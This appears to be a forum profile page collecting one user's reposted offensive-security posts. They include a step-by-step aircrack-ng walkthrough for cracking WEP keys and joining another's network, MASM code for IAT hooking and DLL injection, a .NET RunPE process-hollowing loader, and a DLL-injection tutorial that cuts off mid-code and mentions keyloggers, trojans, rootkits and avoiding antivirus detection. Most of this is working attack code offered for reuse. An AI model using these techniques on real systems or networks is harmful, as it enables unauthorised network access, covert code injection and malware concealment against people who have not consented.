Jump to content

Nytro

Administrators
  • Posts

    18714
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Wireless Wep Key Cracking WEP Cracking by %ebx DISCLAIMER: I DO NOT encourage cracking others wireless protection!. This is illegal! The AP I'm cracking belongs to me and I wrote this as a proof of concept. There's a reason they have a key, they don't want you stealing their bandwidth! That beeing said: Why would you want to crack WEP protected wireless networks? 1. Because you don't have a internet connection and that bastard neighbor of yours has the money to get one 2. Your dad pulls your ethernet cable out every night at 10 so you don't stay up all night talking to some bimbo 3. Because you can and you want to! What do you need? 1. A wireless network card(obviouslly) with drivers up and running. Your need your driver to be able to inject packets, otherwise you're gonna spend days gathering enough packets for a successful crack. I had to recompile my kernel module because I use a damn Broadcom card, and injection wouldn't work..not sure why. 2. Linux (Ubuntu Gutsy in this case), though you can do this from Windows and MacOS too, with the appropriate software. 3. The aircrack-ng suite $sudo apt-get install aircrack-ng Ok..off we go [NOTE] I color coded the "sensitive" information: AP MAC address, AP Name, miscelaneous MAC addresses and my MAC address. There's a legend on the bottom with the colours and what they correspond to So..how do we crack WEP? Well basically...whenever a wireless card "talks" to a access point (AP from now on), it sends/receives some interesting info along with the packets, info that can be used to get the actual WEP key(using the aircrack utility). What we need is to gather enough packets so that aircrack can do it's job [NOTE] eth0 is our wireless card for the remaining of this tutorial STEP 1: We must put the wireless card in monitor mode. A wireless card in monitor mode basically allows us to sniff all the wireless traffic around us We do this by issuing the following command: [check screenshot 1] ebx@skynet:-$ sudo airmon-ng start eth0 You should see "monitor mode enabled" in there. That means we're good and can proceed to the next step Step 2: In this step we need to get the MAC address of the AP we're after, the AP name and the channel it's on. To do this we first sniff all the traffic so we can see what AP we're gonna focus on(the one with more beacons/data usually, if we want a random crack, or a specific one if you're set on someone "special") We do this by running: [check screenshot 1] ebx@skynet:-$ sudo airodump-ng eth0 You should get a screen similar to the one in screenshot 2 I grayed out everything I don't need. The important part is the line with the AP I got my eyes on, the one with red. We just make a note of the MAC address, the AP name and the channel the AP is on. Step 3: This is the step where we actually start capturing packets for use in the cracking We do this by running: [check screenshot 3] ebx@skynet:-$ sudo airodump-ng -c 1 --bssid [THE AP MAC ADDRESS] -w capture eth0 This starts the actual capture of packets. It captures all traffic on channel 1 (the channel the AP was on), but only the traffic going to our AP, and saves the packets in a file called capture-01.cap (airodump-ng adds the -01.cap) You should get something similar to screenshot 4. The "#Data" field is what were's interested in getting high enough. We need thousands of packets to have a successful crack. This is all fine and dandy, and we could just leave this for...hmmm...days 'till it gathers enough packets...Or we could speed the process QUITE A LOT! by using aireplay-ng Step 4: In this step we speed things up by sending a lot of packets to the AP, so we get responses from it (responses that contain that interesting data we're after This is done in 2 steps I'm not going to explain the options I use, just trust me . Or run aireplay-ng with no options so you can see the available options A. First we need to associate out wireless card with the AP so it accepts packets from us [check screenshot 5] ebx@skynet:-$ sudo aireplay-ng -1 0 -e [AP NAME] -a [AP MAC ADDRESS] -h [MY MAC ADDRESS] eth0 If we get "Association successful :-)" then we can proceed to the next step of the packet sending speed up, otherwise something is wrong, eiter you're to far away from the AP, or it has MAC filtering enabled. If we have a successful association, then we can see our MAC address appears as associated to the AP (check screenshot 5 - the left terminal) B. Now we need to start sending packets. Again I'm not going to explain the options used, just RTFM! [check screenshot 6] ebx@skynet:-$ sudo aireplay-ng -3 -b [AP MAC ADDRESS] -h [MY MAC ADDRESS] -x 100 eth0 After a bit of packet reading you should see the sent packets run like crazy, wich also makes our "#Data" field go up like there's no tomorrow!. This is good news. If this step fails, your card/driver probably doesn't have injection capabilities..wich is bad news. But not entirely, just means that you're gonna spend a whole lot more time in cracking because packets come in A LOT slower! This is it...now we just need to sit and wait for enough packets so we can begin our crack. You can just wait and try running the next step from time to time, or do it like I do, run the next step now as it updates the reading realtime. Step 5: In this step we start cracking the WEP using aircrack-ng [check screenshot 7] ebx@skynet:-$ sudo aircrack-ng -n 64 -f 4 capture-01.cap "-n 64" tells aircrack-ng to crack a 64 bit WEP (I already know the key is 64 bit as I have cracked it before ). If not sure test with "-n 64" of with no "-n" at all if that fails. "-f" is the fudge factor. If cracking doesn't work, try raising this to some other value(below 32) If enough packets were gathered, you WILL have a successfull crack. With 250.000 packets I (well aircrack-ng) cracked the key in 3 seconds! [check screenshot 8] We get the key in HEX and ASCII. We will be using the ASCII one. This is it. We have the key, now all there's left is to use it! Now we can just stop capturing (CTRL+C in the other 2 terminals, then close them). After packet capturing is over, we need to take our card OUT of monitor mode ebx@skynet:-$ sudo airmon-ng stop eth0 Step 6: This is optional. You could use any GUI manager to set things up, but I prefer doing it manually ebx@skynet:-$ sudo iwconfig eth0 essid [AP NAME] ebx@skynet:-$ sudo iwconfig eth0 ap [AP MAC ADDRESS] ebx@skynet:-$ sudo iwconfig eth0 key on ebx@skynet:-$ sudo iwconfig eth0 key s:[THE ASCII KEY] ebx@skynet:-$ sudo dhclient eth0 Sursa (si screenshots): Wireless Wep Key Cracking - rohitab.com - Forums
  2. [MASM] IAT Hook Author: steve10120 ; steve10120@ic0de.org ; ######################################################################### .586 .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\comdlg32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\comdlg32.lib ; ######################################################################### .data szDLL db "user32.dll",0 szAPI db "MessageBoxA",0 szHooked db "API Hooked",0 szText db "Hello World!",0 szCaption db "http://ic0de.org",0 .data? dwOldProtect dd ? pMessageBoxA dd ? .code HookIAT proc inModule:DWORD, inHookProc:DWORD, inOriginalFunction:DWORD PUSH ESI PUSH EDI MOV EDI, inModule ASSUME EDI:PTR IMAGE_DOS_HEADER CMP [EDI].e_magic, IMAGE_DOS_SIGNATURE JNE CodeFail ADD EDI, DWORD PTR[EDI+03Ch] ASSUME EDI:PTR IMAGE_NT_HEADERS CMP [EDI].Signature, IMAGE_NT_SIGNATURE JNE CodeFail MOV EDI, [EDI].OptionalHeader.DataDirectory[8].VirtualAddress ADD EDI, inModule ASSUME EDI:PTR IMAGE_IMPORT_DESCRIPTOR ImportLoop: CMP [EDI].FirstThunk, 0 Je OriginalThunk MOV ESI, [EDI].FirstThunk JMP ContinueMain OriginalThunk: MOV ESI, [EDI].OriginalFirstThunk ContinueMain: ADD ESI, inModule ThunkLoop: MOV EAX, [inOriginalFunction] MOV [pMessageBoxA], EAX CMP DWORD PTR[ESI], EAX JNE ContinueThunks MOV EBX, [inHookProc] invoke VirtualProtect, ESI, 4, PAGE_EXECUTE_READWRITE, OFFSET dwOldProtect MOV DWORD PTR[ESI], EBX XOR EAX, EAX INC EAX ContinueThunks: ADD ESI, 4 CMP DWORD PTR[ESI], 0 JNE ThunkLoop ADD EDI, sizeof(IMAGE_IMPORT_DESCRIPTOR) CMP [EDI].Name1, 0 JNE ImportLoop CodeFail: XOR EAX, EAX HookEnd: POP EDI POP ESI MOV ESP, EBP POP EBP RETN 0Ch HookIAT endp MessageBoxAHookProc proc hWindow:DWORD, lpszText:DWORD, lpszCaption:DWORD, uStyle:DWORD PUSH 0 PUSH OFFSET szCaption PUSH OFFSET szHooked PUSH 0 CALL [pMessageBoxA] MOV ESP, EBP POP EBP RETN 010h MessageBoxAHookProc endp start: invoke LoadLibraryA, OFFSET szDLL TEST EAX, EAX JE EndMain invoke GetProcAddress, EAX, OFFSET szAPI TEST EAX, EAX JE EndMain MOV EBX, EAX invoke GetModuleHandleA, NULL TEST EAX, EAX JE EndMain invoke HookIAT, EAX, OFFSET MessageBoxAHookProc, EBX invoke MessageBoxA, 0, OFFSET szText, OFFSET szAPI, 0 EndMain: RETN end start Sursa: ic0de.org
  3. [MASM] DLL Injection Author: steve10120 ; steve10120@ic0de.org ; ######################################################################### .586 .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\comdlg32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\comdlg32.lib ; ######################################################################### .data szDLL db "C:\masm32\projects\dll_injection\TestDll.dll",0 szKernel32 db "kernel32.dll",0 szLoadLibA db "LoadLibraryA",0 .code InjectDLL proc inProcess:DWORD, inDLLPath:DWORD LOCAL hProcess:DWORD LOCAL pDLL:DWORD LOCAL dwDLLSize:DWORD LOCAL dwWritten:DWORD LOCAL dwThreadID:DWORD invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, inProcess TEST EAX, EAX JE CodeFail MOV hProcess, EAX invoke lstrlenA, inDLLPath TEST EAX, EAX JE CodeFail INC EAX MOV dwDLLSize, EAX invoke VirtualAllocEx, hProcess, NULL, dwDLLSize, MEM_COMMIT, PAGE_READWRITE TEST EAX, EAX JE CodeFail MOV pDLL, EAX invoke WriteProcessMemory, hProcess, pDLL, inDLLPath, dwDLLSize, ADDR dwWritten TEST EAX, EAX JE CodeFail invoke LoadLibraryA, OFFSET szKernel32 invoke GetProcAddress, EAX, OFFSET szLoadLibA TEST EAX, EAX JE CodeFail MOV EBX, EAX ; got a compiler error if I just left EAX, so yeah.. invoke CreateRemoteThread, hProcess, NULL, 0, EBX, pDLL, 0, ADDR dwThreadID TEST EAX, EAX JE CodeFail invoke CloseHandle, hProcess XOR EAX, EAX INC EAX JMP EndInject CodeFail: XOR EAX, EAX EndInject: MOV ESP, EBP ; yeah, still don't know why MASM creates a stack frame but doesn't restore it. Any ideas? POP EBP RETN 8 InjectDLL endp start: invoke InjectDLL, 2420, OFFSET szDLL EndMain: RETN end start Sursa: ic0de.org
  4. [MASM] Native Enum Processes Author: steve10120 ; steve10120@ic0de.org ; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ include \masm32\include\masm32rt.inc include \masm32\include\ntdll.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\ntdll.lib ; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ CLIENT_ID STRUCT UniqueProcess dd ? UniqueThread dd ? CLIENT_ID ENDS SYSTEM_THREADS struct KernelTime LARGE_INTEGER <> UserTime LARGE_INTEGER <> CreateTime LARGE_INTEGER <> WaitTime dd ? StartAddress dd ? ClientId CLIENT_ID <> Priority SDWORD ? BasePriority SDWORD ? ContextSwitchCount dd ? State dd ? WaitReason dd ? SYSTEM_THREADS ends UNICODE_STRING STRUCT Len WORD ? MaximumLength WORD ? Buffer PWSTR ? UNICODE_STRING ends VM_COUNTERS STRUCT PeakVirtualSize DWORD ? ; SIZE_T VirtualSize DWORD ? ; SIZE_T PageFaultCount DWORD ? PeakWorkingSetSize DWORD ? ; SIZE_T WorkingSetSize DWORD ? ; SIZE_T QuotaPeakPagedPoolUsage DWORD ? ; SIZE_T QuotaPagedPoolUsage DWORD ? ; SIZE_T QuotaPeakNonPagedPoolUsage DWORD ? ; SIZE_T QuotaNonPagedPoolUsage DWORD ? ; SIZE_T PagefileUsage DWORD ? ; SIZE_T PeakPagefileUsage DWORD ? ; SIZE_T VM_COUNTERS ENDS SYSTEM_PROCESS_INFORMATION struct NextEntryDelta dd ? ThreadCount dd ? Reserved1 dd 6 dup (?) CreateTime LARGE_INTEGER <> UserTime LARGE_INTEGER <> KernelTime LARGE_INTEGER <> ProcessName UNICODE_STRING <> BasePriority SDWORD ? ProcessId dd ? InheritedFromProcessId dd ? HandleCount dd ? Reserved2 dd 2 dup (?) VmCounters VM_COUNTERS <> ;IO_COUNTERS IoCounters; // Windows 2000 only Threads SYSTEM_THREADS <> SYSTEM_PROCESS_INFORMATION ends .data szBuffer db 256 dup(0) .data? dwReturnLength dd ? .code WideToAnsi proc szData:DWORD invoke WideCharToMultiByte, CP_ACP, WC_COMPOSITECHECK, szData, INVALID_HANDLE_VALUE, ADDR szBuffer, 256, NULL, NULL LEAVE RETN 4 WideToAnsi endp start: invoke NtQuerySystemInformation, 5, NULL, 0, ADDR dwReturnLength invoke VirtualAlloc, NULL, dwReturnLength, MEM_COMMIT, PAGE_READWRITE TEST EAX, EAX JE EndMain MOV EDI, EAX invoke NtQuerySystemInformation, 5, EDI, dwReturnLength, ADDR dwReturnLength TEST EAX, EAX JNE FreeMem ASSUME EDI:PTR SYSTEM_PROCESS_INFORMATION ProcessLoop: MOV EAX, [EDI].ProcessName.Buffer TEST EAX, EAX JE NextItem invoke WideToAnsi, EAX print OFFSET szBuffer, 13, 10 NextItem: CMP [EDI].NextEntryDelta, 0 JE FreeMem ADD EDI, [EDI].NextEntryDelta JMP ProcessLoop FreeMem: invoke VirtualFree, EDI, 0, MEM_RELEASE EndMain: inkey RETN end start Sursa: ic0de.org
  5. [.NET] 64-Bit working RunPE Imports System.Runtime.InteropServices Imports System.Text Public Class RunPE <DllImport("kernel32")> _ Private Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, ByVal creation As Integer, _ ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function <DllImport("kernel32")> _ Private Shared Function GetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function <DllImport("ntdll")> _ Private Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger End Function <DllImport("kernel32")> _ Private Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function <DllImport("kernel32.dll")> _ Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInteger End Function <DllImport("kernel32")> _ Private Shared Function SetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function <DllImport("kernel32")> _ Private Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr End Function <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _ Private Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean End Function <DllImport("kernel32.dll", SetLastError:=True)> _ Private Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As Integer) As Boolean End Function Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean Try Dim procAttr As IntPtr = IntPtr.Zero Dim processInfo As IntPtr() = New IntPtr(3) {} Dim startupInfo As Byte() = New Byte(67) {} Dim num2 As Integer = BitConverter.ToInt32(bytes, 60) Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6) Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54)) If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _ procAttr, Nothing, startupInfo, processInfo) Then Dim ctxt As UInteger() = New UInteger(178) {} ctxt(0) = &H10002 If GetThreadContext(processInfo(1), ctxt) Then Dim baseAddr As New IntPtr(ctxt(&H29) + 8L) Dim buffer__1 As IntPtr = IntPtr.Zero Dim bufferSize As New IntPtr(4) Dim numRead As IntPtr = IntPtr.Zero If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34)) Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80)) Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40) Dim lpNumberOfBytesWritten As Integer WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten) Dim num5 As Integer = num - 1 For i As Integer = 0 To num5 Dim dst As Integer() = New Integer(9) {} Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40) Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {} Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length) size = New IntPtr(lpBaseAddress.ToInt32() + dst(3)) addr = New IntPtr(buffer2.Length) WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten) Next size = New IntPtr(ctxt(&H29) + 8L) addr = New IntPtr(4) WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten) ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40)) SetThreadContext(processInfo(1), ctxt) End If End If ResumeThread(processInfo(1)) End If Catch Return False End Try Return True End Function End Class Sursa: ic0de.org
  6. [TUT] Different methods of DLL Injection Dll Injection Tutorial by Darawk Source ://www.blizzhackers.cc/viewtopic.php?p=2483118# Introduction The CreateRemoteThread method The SetWindowsHookEx method The code cave method Appendix A - Methods of obtaining a process ID Appendix B - Methods of obtaining a thread ID Appendix C - Complete CreateRemoteThread example source code Appendix D - Complete SetWindowsHookEx example source code Appendix E - Complete code cave example source code Introduction In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a process. Dll injection is incredibly useful for TONS of stuff(game hacking, function hooking, code patching, keygenning, unpacking, etc..). Though there are scattered tutorials on these techniques available throughout the web, I have yet to see any complete tutorials detailing all of them(there may even be more out there than I have here, of course), and comparing their respective strength's and weakness's. This is precisely what i'll attempt to do for you in this paper. You are free to reproduce or copy this paper, so long as proper credit is given and you don't modify it without speaking to me first. The CreateRemoteThread method I've used this in tons of stuff, and I only recently realized that a lot of people have never seen it, or know how to do it. I can't take credit for thinking it up...I got it from an article on codeproject, but it's a neat trick that I think more people should know how to use. The trick is simple, and elegant. The windows API provides us with a function called CreateRemoteThread(). This allows you to start a thread in another process. For our purposes, i'll assume you know how threading works, and how to use functions like CreateThread(if not, you can go here ). The main disadvantage of this method is that it will work only on windows NT and above. To prevent it from crashing, you should use this function to check to make sure you're on an NT-based system(thanks to CatID for pointing this out): bool IsWindowsNT() { // check current version of Windows DWORD version = GetVersion(); // parse return DWORD majorVersion = (DWORD)(LOBYTE(LOWORD(version))); DWORD minorVersion = (DWORD)(HIBYTE(LOWORD(version))); return (version < 0x80000000); } The MSDN definition for CreateRemoteThread is as follows: HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); So, it's essentially CreateThread, with an hProcess argument, so that we can tell it in which process to create the new thread. Now, normally we would want to start the thread executing on some internal function of the process that we are interacting with. However, to inject a dll, we have to do something a little bit different. BOOL InjectDLL(DWORD ProcessID) { HANDLE Proc; char buf[50]={0}; LPVOID RemoteString, LoadLibAddy; if(!ProcessID) return false; Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID); if(!Proc) { sprintf(buf, "OpenProcess() failed: %d", GetLastError()); MessageBox(NULL, buf, "Loader", NULL); return false; } LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME,strlen(DLL_NAME), NULL); This code, calls CreateRemoteThread() with a lpStartAddress of LoadLibrary(). So, it starts a new thread in the remote process and executes the LoadLibrary() function. Luckily for us, this function takes only one argument, the name of the dll to load. We can pass this in the arg field of CreateRemoteThread(). However, there is a minor dilemma. Since this thread will not be executing in our address space, it won't be able to refer to strings(such as the name of the dll) that are in our address space. So, before calling CreateRemoteThread(), we have to allocate space in the other process, using VirtualAllocEx(), and write our string there. Finally, we pass the pointer to the string inside the remote process in the single arg field of CreateRemoteThread(), and voila...Our dll is now loaded and running smoothly within the remote process. This is the generic loader program I use whenever I need to load a dll. The SetWindowsHookEx method The SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected process, which we normally don't want. However, it is a little bit easier to use than the first, and does have it's own advantages (like being able to inject into every process on the system in one shot). The SetWindowsHookEx() function is designed to allow you to "hook" windows messages for a given thread. This requires that you inject a dll into that process's address space, so SetWindowsHookEx() handles all that for us. The dll must have a function for the hook that it created though, otherwise it will crash. HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId ); idHook is just that, the ID of the message that we want to hook. There are many of them(for a complete list, go here ), however we'll want to use one that's as unintrusive as possible, and has the least likelihood of causing alarm bells to go off in any AV software(SetWindowsHookEx is the staple of all ring3 keyloggers). The WH_CBT message seems innocuous enough. WH_CBT Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application. For more information, see the CBTProc hook procedure. --MSDN So, we'll need to create a placebo CBT hook proc in our dll, so that when the hook is called, we can handle it properly. LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) { return CallNextHookEx(0, nCode, wParam, lParam); }; All we're doing is calling the next hook in the chain of hooks that exist for this message. Getting back to the SetWindowsHookEx() function, the next parameter we see is lpfn. lpfn is exactly as it sounds "long pointer to function". That's a pointer to our CBT hook proc function. So, to get this, we'll have to either hardcode the address, or load the dll first ourselves. Hardcoding anything is a bad idea, so we'll load the dll using LoadLibrary(), and use GetProcAddress() to get the address of our function. HMODULE hDll; unsigned long cbtProcAddr; hDll = LoadLibrary("injected.dll"); cbtProcAddr = GetProcAddress(hDll, "CBTProc"); Now, in cbtProcAddr we have the address of our function. Parameter 3, of SetWindowsHookEx() is a handle to our dll, we've already obtained this in the process of getting the address of CBTProc(hDll is a handle to our dll, returned by LoadLibrary). Now, there is only one parameter left in the SetWindowsHookEx() function, the dwThreadId parameter. If you want to inject your dll into every process on the system(useful for global function hooks, keyloggers, trojans, rootkits, etc..) you can simply specify 0 for this parameter. If you want to target a specific process, you'll need to get the ID of one of it's threads. There are many ways of doing this, and i'll try to enumerate as many as I can think of in Appendix B. So, to put it all together into one neat little function: BOOL InjectDll(char *dllName) { HMODULE hDll; unsigned long cbtProcAddr; hDll = LoadLibrary(dllName); cbtProcAddr = GetProcAddress(hDll, "CBTProc"); SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, GetTargetThreadIdFromWindow("targetApp")); return TRUE; } The code cave method Instead of exploiting a windows API function to force the process to load our Dll, this time we'll allocate a little chunk memory inside the target application, and inject a little stub that loads our dll. The advantage of this approach is that it will work on any version of windows, and it's also the least detectable of any of the methods mentioned thus far. Our stub will look like this: __declspec(naked) loadDll(void) { _asm{ // Placeholder for the return address push 0xDEADBEEF // Save the flags and registers pushfd pushad // Placeholder for the string address and LoadLibrary push 0xDEADBEEF mov eax, 0xDEADBEEF // Call LoadLibrary with the string parameter call eax // Restore the registers and flags popad popfd // Return control to the hijacked thread ret } } 0xDEADBEEF is just there to mark addresses that we can't know beforehand, and have to patch-in at runtime. Ok, let's make a list of the things that we need to do to make this work: - Allocate space for the stub - Allocate space for the name of the dll - Suspend the main thread of our target - Get the address of the next instruction to be executed(need this for the next step) - Patch the proper address to return to in the stub - Patch the address of the dll name - Patch the address of LoadLibrary - Set the address of the next instruction to be executed in our target's thread, to the address of the beginning of our stub - Resume the target's thread To allocate space inside the target, we'll use VirtualAllocEx(). We'll need to open a handle to the process with the VM_OPERATION privelege specified, in order to do this. For our dllName string, we'll only need read and write priveleges. For the stub however, we'll need read, write, and execute priveleges. Then we'll write in our dllName string, so that we can reference it from the stub once it's inserted. void *dllString, *stub; unsigned long wowID; HANDLE hProcess //See Appendix A for //this function wowID = GetTargetProcessIdFromProcname(PROC_NAME); hProcess = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false, wowID); dllString = VirtualAllocEx(hProcess, NULL, (strlen(DLL_NAME) + 1), MEM_COMMIT, PAGE_READWRITE); stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, dllString, DLL_NAME, strlen(DLL_NAME), NULL); To accomplish our next few tasks, we'll need a handle to one of our target's threads. We can use the functions from Appendix B to get the ID of one such thread, and then use the OpenThread API to get a handle. We'll need to be able to get and set context, and also suspend and resume the thread. unsigned long threadID; HANDLE hThread; threadID = GetTargetThreadIdFromProcname(PROC_NAME); hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID); Now, we need to pause the thread in order to get it's "context". The context of a thread is the current state of all of it's registers, as well as other peripheral information. However, we're mostly concerned with the EIP register, which points to the next instruction to be executed. So, if we don't suspend the thread before retrieving its context information, it'll continue executing and by the time we get the information, it'll be invalid. Once we've paused the thread, we'll retrieve it's context information using the GetThreadContext() function. We'll grab the value of the current next instruction to be executed, so that we know where our stub should return to. Then it's just a matter of patching up the stub to have all of the proper pointers, and forcing the thread to execute it: SuspendThread(hThread); ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); oldIP = ctx.Eip; //Set the EIP of the context to the address of our stub ctx.Eip = (DWORD)stub; ctx.ContextFlags = CONTEXT_CONTROL; //Right now loadDll is code, which isn't writable. We need //to change that. VirtualProtect(loadDll, stubLen, PAGE_EXECUTE_READWRITE, &oldprot); //Patch the first push instruction memcpy((void *)((unsigned long)loadDll + 1), &oldIP, 4); //Patch the 2nd push instruction memcpy((void *)((unsigned long)loadDll + 8), &dllString, 4); //Patch the mov eax, 0xDEADBEEF to mov eax, LoadLibrary memcpy((void *)((unsigned long)loadDll + 13), &loadLibAddy, 4); WriteProcessMemory(hProcess, stub, loadDll, stubLen, NULL); //Write the stub into the target //Set the new context of the target's thread SetThreadContext(hThread, &ctx); //Let the target thread continue execution, starting at our stub ResumeThread(hThread); All that's left now, is to cleanup the evidence. Before we do that though, we should pause the injector for a bit, to be sure that the target has time to execute our stub(don't want any nasty race conditions). We'll use Sleep() to pause for 8 seconds before unmapping the memory that we allocated, and exiting the injector. Sleep(8000); VirtualFreeEx(hProcess, dllString, strlen(DLL_NAME), MEM_DECOMMIT); VirtualFreeEx(hProcess, stub, stubLen, MEM_DECOMMIT); CloseHandle(hProcess); CloseHandle(hThread); This method should work on any version of windows, and should be the least likely to trigger any A/V alarms or cause the program to malfunction. If you can understand it and implement it properly, this is definitely the best of the three methods. Appendix A - Methods of obtaining a process ID If the process you're targeting has a window, you can use the FindWindow function, in conjunction with GetWindowThreadProcessId, as shown here unsigned long GetTargetProcessIdFromWindow(char *className, char *windowName) { unsigned long procID; HWND targetWnd; targetWnd = FindWindow(className, windowName); GetWindowThreadProcessId(targetWnd, &procId); return procID; } If you only know the name of the executable file or it just doesn't have a window: unsigned long GetTargetProcessIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot; BOOL retval, ProcFound = false; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } return pe.th32ProcessID; } Appendix B - Methods of obtaining a thread ID If the process you're targeting has a window, you can use the FindWindow function, in conjunction with GetWindowThreadProcessId and the toolhelp API, as shown here: unsigned long GetTargetThreadIdFromWindow(char *className, char *windowName) { HWND targetWnd; HANDLE hProcess unsigned long processId, pTID, threadID; targetWnd = FindWindow(className, windowName); GetWindowThreadProcessId(targetWnd, &processId); _asm { mov eax, fs:[0x18] add eax, 36 mov [pTID], eax } hProcess = OpenProcess(PROCESS_VM_READ, false, processID); ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL); CloseHandle(hProcess); return threadID; } If you only know the name of the executable of your target, then you can use this code to locate it: unsigned long GetTargetThreadIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot, hProcess; BOOL retval, ProcFound = false; unsigned long pTID, threadID; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } CloseHandle(thSnapshot); _asm { mov eax, fs:[0x18] add eax, 36 